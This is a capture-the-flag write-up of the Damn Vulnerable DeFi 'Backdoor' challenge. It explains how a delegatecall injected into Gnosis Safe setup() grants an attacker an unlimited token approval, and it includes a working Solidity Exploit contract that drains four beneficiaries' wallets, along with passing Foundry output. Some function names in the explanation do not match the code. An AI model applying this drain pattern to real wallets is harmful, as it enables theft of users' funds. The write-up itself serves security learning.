BackDoor
Backdoor in Gnosis Safe Wallets
Goal:
The goal of this challenge is to steal 40 DVT tokens distributed to 4 legitimate users (alice, bob, charlie, david) when they create their Gnosis Safe wallets.
Vulnerability:
Gnosis Safe wallets allow a delegatecall during wallet creation (setup() function). This delegatecall executes code in the context of the new wallet, which means it can manipulate the wallet as if it were the wallet itself.
A malicious actor can inject a contract during wallet setup to approve themselves to spend all tokens from the wallet.
Key Vulnerable Code in Backdoor Contract:
function enableBackdoor(DamnValuableToken token, address attacker) external {
token.approve(attacker, type(uint256).max);
}
- This gives unlimited allowance to the attacker.
- Since delegatecall runs in the wallet’s context, the Safe wallet itself approves the attacker to spend its tokens.
Attack Flow
Step 1: Prepare the malicious payload
- The attacker encodes a delegatecall to the Backdoor contract when creating the Safe:
abi.encodeWithSignature("delegateApprove(address)", attacker)
- This will run inside the Safe during wallet creation.
Step 2: Create Safe wallets for beneficiaries
- For each user (
alice,bob,charlie,david), the attacker uses the SafeProxyFactory to create a new wallet on their behalf, injecting the delegatecall:
SafeProxyFactory(walletFactory).createProxyWithCallback(
singletonCopy,
initializer, // Encodes setup() + delegate call
saltNonce,
IProxyCreationCallback(walletRegistry)
);
Step 3: Registry distributes tokens to wallets
- When a Safe wallet is created correctly, WalletRegistry transfers 10 DVT tokens to each wallet.
Step 4: Exploit the backdoor
- The delegatecall from Step 1 executes inside the new wallet, approving the attacker to spend all tokens.
- The attacker then calls
transferFromto drain the tokens to their recovery account:
dvt.transferFrom(address(safeWallet), recovery, 10 ether);
Step 5: Drain all wallets in one transaction
- The attacker repeats Steps 2–4 for all 4 beneficiaries, collecting all 40 DVT tokens in the recovery account.
Vulnerability
function setup(
address[] memory owners,
uint256 threshold,
address to, // delegatecall target
bytes memory data, // data for delegatecall
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
)
to: address(attackerContract) data: attackLogicData
to: address(Malicious) data: abi.encodeWithSignature("approveTokens(address,address)", tokenAddress, attackerAddress)
and
.Approved by the backdoor contract in the context of safe wallet .
.trasnferring tokens to attacker address.
.token.transferFrom(safeWallet, attacker, 10 ether);
Backdoor contract
It enables a malicious delegatecall backdoor when a Gnosis Safe wallet is being created
GnosisSafe.setup(...)
bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector,
owners, // owners[0] is the victim (beneficiary)
1, // threshold = 1
address(Backdoor), // <-- key point: this contract will be called during setup
abi.encodeWithSignature(
"approveTokens(address,address)",
token,
attacker
),
address(0), // fallback handler
address(0), // payment token
0, // payment amount
address(0) // payment receiver
);
The setup() function allows the Safe to delegate a call (to + data) during its initialization.
The attacker uses this ability to make the Safe call a malicious contract (maliciousContract).
That contract runs the following logic:
function anableBackdoor(IERC20 token, address attacker) external {
token.approve(attacker, type(uint256).max); // Key vulnerability
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {DamnValuableToken} from "../DamnValuableToken.sol";
contract Backdoor {
function enableBackdoor(DamnValuableToken token, address attacker) external {
token.approve(attacker, type(uint256).max);
}
}
It calls token.approve(attacker, type(uint256).max):
This gives the attacker unlimited allowance to move tokens from the Safe.
So, if a Safe wallet runs this code using delegatecall, the Safe will approve the attacker to transfer all tokens from the Safe.
Effect
The attacker tricks the Safe wallet into executing this code inside its own context (using delegatecall during setup()).
Because delegatecall runs code in the context of the Safe, it’s as if the Safe itself is calling approve().
So the attacker gains permission to drain all tokens from that Safe using transferFrom()
Wallet Registry
The WalletRegistry contract is designed to reward certain users (called beneficiaries) with 10 tokens each when they create a Gnosis Safe wallet correctly.
It checks that the wallet is created using the right factory and base contract (singleton), has only one owner, needs only one signature to approve actions (threshold = 1), and has no fallback functions that could allow malicious behavior
Once all checks pass, it marks the user as no longer eligible (to prevent multiple rewards), records their wallet, and transfers them 10 tokens. In the Backdoor challenge, the attacker abuses the setup process by injecting a malicious contract during wallet creation.
This contract gives the attacker permission to take tokens from the wallet right after it receives them, allowing the attacker to drain tokens from wallets created for real beneficiaries
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Ownable} from "solady/auth/Ownable.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Safe} from "safe-smart-account/contracts/Safe.sol";
import {SafeProxy} from "safe-smart-account/contracts/proxies/SafeProxy.sol";
import {IProxyCreationCallback} from "safe-smart-account/contracts/proxies/IProxyCreationCallback.sol";
/**
* @notice A registry for Safe multisig wallets.
* When known beneficiaries deploy and register their wallets, the registry awards tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Safe wallets are stored.
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {
uint256 private constant EXPECTED_OWNERS_COUNT = 1;
uint256 private constant EXPECTED_THRESHOLD = 1;
uint256 private constant PAYMENT_AMOUNT = 10e18;
address public immutable singletonCopy;
address public immutable walletFactory;
IERC20 public immutable token;
mapping(address => bool) public beneficiaries;
// owner => wallet
mapping(address => address) public wallets;
error NotEnoughFunds();
error CallerNotFactory();
error FakeSingletonCopy();
error InvalidInitialization();
error InvalidThreshold(uint256 threshold);
error InvalidOwnersCount(uint256 count);
error OwnerIsNotABeneficiary();
error InvalidFallbackManager(address fallbackManager);
constructor(
address singletonCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
_initializeOwner(msg.sender);
singletonCopy = singletonCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);
for (uint256 i = 0; i < initialBeneficiaries.length; ++i) {
unchecked {
beneficiaries[initialBeneficiaries[i]] = true;
}
}
}
function addBeneficiary(address beneficiary) external onlyOwner {
beneficiaries[beneficiary] = true;
}
/**
* @notice Function executed when user creates a Safe wallet via SafeProxyFactory::createProxyWithCallback
* setting the registry's address as the callback.
*/
function proxyCreated(SafeProxy proxy, address singleton, bytes calldata initializer, uint256) external override {
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) {
// fail early
revert NotEnoughFunds();
}
address payable walletAddress = payable(proxy);
// Ensure correct factory and copy
if (msg.sender != walletFactory) {
revert CallerNotFactory();
}
if (singleton != singletonCopy) {
revert FakeSingletonCopy();
}
// Ensure initial calldata was a call to `Safe::setup`
if (bytes4(initializer[:4]) != Safe.setup.selector) {
revert InvalidInitialization();
}
// Ensure wallet initialization is the expected
uint256 threshold = Safe(walletAddress).getThreshold();
if (threshold != EXPECTED_THRESHOLD) {
revert InvalidThreshold(threshold);
}
address[] memory owners = Safe(walletAddress).getOwners();
if (owners.length != EXPECTED_OWNERS_COUNT) {
revert InvalidOwnersCount(owners.length);
}
// Ensure the owner is a registered beneficiary
address walletOwner;
unchecked {
walletOwner = owners[0];
}
if (!beneficiaries[walletOwner]) {
revert OwnerIsNotABeneficiary();
}
address fallbackManager = _getFallbackManager(walletAddress);
if (fallbackManager != address(0)) {
revert InvalidFallbackManager(fallbackManager);
}
// Remove owner as beneficiary
beneficiaries[walletOwner] = false;
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}
function _getFallbackManager(address payable wallet) private view returns (address) {
return abi.decode(
Safe(wallet).getStorageAt(uint256(keccak256("fallback_manager.handler.address")), 0x20), (address)
);
}
}
POC
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import "safe-smart-account/contracts/proxies/IProxyCreationCallback.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
contract BackdoorChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
address[] users = [makeAddr("alice"), makeAddr("bob"), makeAddr("charlie"), makeAddr("david")];
uint256 constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;
DamnValuableToken token;
Safe singletonCopy;
SafeProxyFactory walletFactory;
WalletRegistry walletRegistry;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy Safe copy and factory
singletonCopy = new Safe();
walletFactory = new SafeProxyFactory();
// Deploy reward token
token = new DamnValuableToken();
// Deploy the registry
walletRegistry = new WalletRegistry(address(singletonCopy), address(walletFactory), address(token), users);
// Transfer tokens to be distributed to the registry
token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
assertEq(walletRegistry.owner(), deployer);
assertEq(token.balanceOf(address(walletRegistry)), AMOUNT_TOKENS_DISTRIBUTED);
for (uint256 i = 0; i < users.length; i++) {
// Users are registered as beneficiaries
assertTrue(walletRegistry.beneficiaries(users[i]));
// User cannot add beneficiaries
// vm.expectRevert(0x82b42900); // `Unauthorized()`
// vm.prank(users[i]);
// walletRegistry.addBeneficiary(users[i]);
vm.expectRevert(bytes4(0x82b42900)); // Unauthorized()
vm.prank(users[i]);
walletRegistry.addBeneficiary(users[i]);
}
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_backdoor() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(singletonCopy),address(walletFactory),address(walletRegistry),address(token),recovery);
exploit.attack(users);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
for (uint256 i = 0; i < users.length; i++) {
address wallet = walletRegistry.wallets(users[i]);
// User must have registered a wallet
assertTrue(wallet != address(0), "User didn't register a wallet");
// User is no longer registered as a beneficiary
assertFalse(walletRegistry.beneficiaries(users[i]));
}
// Recovery account must own all tokens
assertEq(token.balanceOf(recovery), AMOUNT_TOKENS_DISTRIBUTED);
}
}
contract Exploit {
address private immutable singletonCopy;
address private immutable walletFactory;
address private immutable walletRegistry;
DamnValuableToken private immutable dvt;
address recovery;
constructor(
address _masterCopy,
address _walletFactory,
address _registry,
address _token,
address _recovery
) {
singletonCopy = _masterCopy;
walletFactory = _walletFactory;
walletRegistry = _registry;
dvt = DamnValuableToken(_token);
recovery = _recovery;
}
function delegateApprove(address _spender) external {
dvt.approve(_spender, 10 ether);
}
function attack(address[] memory _beneficiaries) external {
// For every registered user we'll create a wallet
for (uint256 i = 0; i < 4; i++) {
address[] memory beneficiary = new address[](1);
beneficiary[0] = _beneficiaries[i];
// Create the data that will be passed to the proxyCreated function on WalletRegistry
// The parameters correspond to the GnosisSafe::setup() contract
bytes memory _initializer = abi.encodeWithSelector(
Safe.setup.selector, // Selector for the setup() function call
beneficiary, // _owners => List of Safe owners.
1, // _threshold => Number of required confirmations for a Safe transaction.
address(this), // to => Contract address for optional delegate call.
abi.encodeWithSignature("delegateApprove(address)", address(this)), // data => Data payload for optional delegate call.
address(0), // fallbackHandler => Handler for fallback calls to this contract
0, // paymentToken => Token that should be used for the payment (0 is ETH)
0, // payment => Value that should be paid
0 // paymentReceiver => Adddress that should receive the payment (or 0 if tx.origin)
);
// Create new proxies on behalf of other users
SafeProxy _newProxy = SafeProxyFactory(walletFactory).createProxyWithCallback(
singletonCopy, // _singleton => Address of singleton contract.
_initializer, // initializer => Payload for message call sent to new proxy contract.
i, // saltNonce => Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
IProxyCreationCallback(walletRegistry) // callback => Cast walletRegistry to IProxyCreationCallback
);
//Transfer to caller
dvt.transferFrom(address(_newProxy), recovery, 10 ether);
}
}
}
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_backdoor -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
[⠔] Compiling 1 files with Solc 0.8.25
[⠒] Solc 0.8.25 finished in 1.35s
Compiler run successful!
Ran 1 test for test/backdoor/Backdoor.t.sol:BackdoorChallenge
[PASS] test_backdoor() (gas: 1690764)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.12ms (1.32ms CPU time)
Ran 1 test suite in 5.60ms (3.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#
Learned
- Delegatecalls during initialization are dangerous if not properly validated.
- Even a legitimate setup process can be exploited if an attacker can inject malicious code.
- Always validate contracts interacting with wallets and avoid blindly trusting delegatecalls.
- Using a callback in setup (WalletRegistry) can be exploited if combined with delegatecall injection.